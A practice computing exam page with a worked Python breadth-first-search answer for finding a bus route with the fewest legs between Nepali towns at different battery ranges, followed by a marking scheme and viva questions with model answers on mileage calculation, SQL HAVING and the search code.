roads = [ ("Kathmandu", "Mugling", 110), ("Kathmandu", "Hetauda", 130), ("Mugling", "Bharatpur", 40), ("Mugling", "Pokhara", 95), ("Hetauda", "Bharatpur", 80), ("Bharatpur", "Butwal", 115), ("Pokhara", "Butwal", 160), ("Butwal", "Lamahi", 175), ("Butwal", "Gorusinghe", 70), ("Gorusinghe", "Lamahi", 110), ("Lamahi", "Kohalpur", 115), ("Kohalpur", "Nepalgunj", 15), ("Kohalpur", "Attariya", 180), ("Kohalpur", "Chisapani", 80), ("Chisapani", "Attariya", 100), ("Attariya", "Dhangadhi", 15),] # Write fewest_legs here(The roads and their km are simplified and rounded, made up for practice.)
Answer
roads = [ ("Kathmandu", "Mugling", 110), ("Kathmandu", "Hetauda", 130), ("Mugling", "Bharatpur", 40), ("Mugling", "Pokhara", 95), ("Hetauda", "Bharatpur", 80), ("Bharatpur", "Butwal", 115), ("Pokhara", "Butwal", 160), ("Butwal", "Lamahi", 175), ("Butwal", "Gorusinghe", 70), ("Gorusinghe", "Lamahi", 110), ("Lamahi", "Kohalpur", 115), ("Kohalpur", "Nepalgunj", 15), ("Kohalpur", "Attariya", 180), ("Kohalpur", "Chisapani", 80), ("Chisapani", "Attariya", 100), ("Attariya", "Dhangadhi", 15),] def fewest_legs(roads, start, goal, range_km): """The towns on a route with the fewest legs from start to goal, using only roads no longer than range_km, or None if there is none.""" graph = {} for a, b, km in roads: for town in (a, b): if town not in graph: graph[town] = [] if km <= range_km: graph[a].append(b) graph[b].append(a) came_from = {start: None} to_visit = [start] while len(to_visit) > 0: town = to_visit.pop(0) if town == goal: route = [] while town is not None: route.append(town) town = came_from[town] route.reverse() return route for nxt in graph[town]: if nxt not in came_from: came_from[nxt] = town to_visit.append(nxt) return None for range_km in [200, 150, 100]: route = fewest_legs(roads, "Kathmandu", "Dhangadhi", range_km) if route is None: print(range_km, "km: no way") else: legs = len(route) - 1 print(range_km, "km:", " → ".join(route)) print(" ", legs, "legs,", legs - 1, "stops to charge on the way")Output
200 km: Kathmandu → Mugling → Bharatpur → Butwal → Lamahi → Kohalpur → Attariya → Dhangadhi 7 legs, 6 stops to charge on the way150 km: Kathmandu → Mugling → Bharatpur → Butwal → Gorusinghe → Lamahi → Kohalpur → Chisapani → Attariya → Dhangadhi 9 legs, 8 stops to charge on the way100 km: no wayWith a 150 km range the 175 km and 180 km roads can’t be used, so the bus goes by Gorusinghe and Chisapani; with 100 km, both roads out of Kathmandu are too long.
Marking scheme
- Builds a dictionary of neighbors from the list, every town a key, each road in both towns’ lists.
- Adds only the roads no longer than
range_km. - A breadth-first search: takes from the front with
pop(0)and adds to the back, marking a town as seen (came_from) when it is added. - Follows
came_fromback from the goal and reverses it to give the route. - Prints the 7-leg route for 200 km and the 9-leg route by Gorusinghe and Chisapani for 150 km, with the legs and stops.
- Returns
Nonewhen there is no route, and prints “no way” for 100 km.
Viva. The teacher asks each student about their own work, for example:
- i.In mileage.py, why do you divide by the liters of the later fill-up of a stretch, not the earlier one? In main.py, why is the month’s figure worked out from the total km and liters, not as the average of the five stretches? (2)
- ii.In your last query, why must it be HAVING and not WHERE? Why isn’t bus 4 to Janakpur in the answer, and what would
>=give? (2) - iii.Your function first puts every town in the dictionary, even when none of its roads is short enough. What would go wrong at a range of 100 km without that? And does your route have the fewest km? (2)
Answer
- i.The tank is filled to full each time, so the petrol put in at a fill-up is what was used since the one before: the later fill-up measures the stretch. The five stretches are of different lengths: averaging their figures (43.18) gives a short stretch as much weight as a long one; the month’s true figure is all the km on all the petrol used, 1,010 ÷ 23.3 ≈ 43.3.
- ii.WHERE picks rows before they are grouped, so it can’t use
SUM(), which exists only for a group; HAVING picks groups after they are made. Bus 4 has 22 + 18 = 40 seats booked of its 40, exactly full, which isn’t more;>=would list it too, though it isn’t over-booked. - iii.At 100 km neither road out of Kathmandu is short enough, so Kathmandu would never become a key, and
graph["Kathmandu"]would stop the program with a KeyError instead of giving “no way”. And no: breadth-first search finds the fewest legs, not the fewest km; a route with more but shorter roads could be shorter in km.
Marking scheme
- i. The fill-up refills what was used since the last one, so the later fill-up’s liters belong to the stretch.
- i. Stretches differ in length, so the month is total km ÷ total liters (43.3), not the mean of the five (43.18).
- ii. WHERE picks rows before grouping and can’t use SUM; HAVING picks groups.
- ii. Bus 4 is exactly full (40 of 40), not over;
>=would wrongly list it. - iii. Without it Kathmandu isn’t a key, so
graph["Kathmandu"]gives a KeyError at 100 km. - iii. BFS gives the fewest legs, not the fewest km.
Your score
0 / 50 theory
0 / 25 practical
29 questions not marked yet
| Section A | – | Full marks 10 |
| Section B | – | Full marks 20 |
| Section C | – | Full marks 20 |
| Practical exam | – | Full marks 25 |
Marks lost, by unit
Mark a question to see your score here.
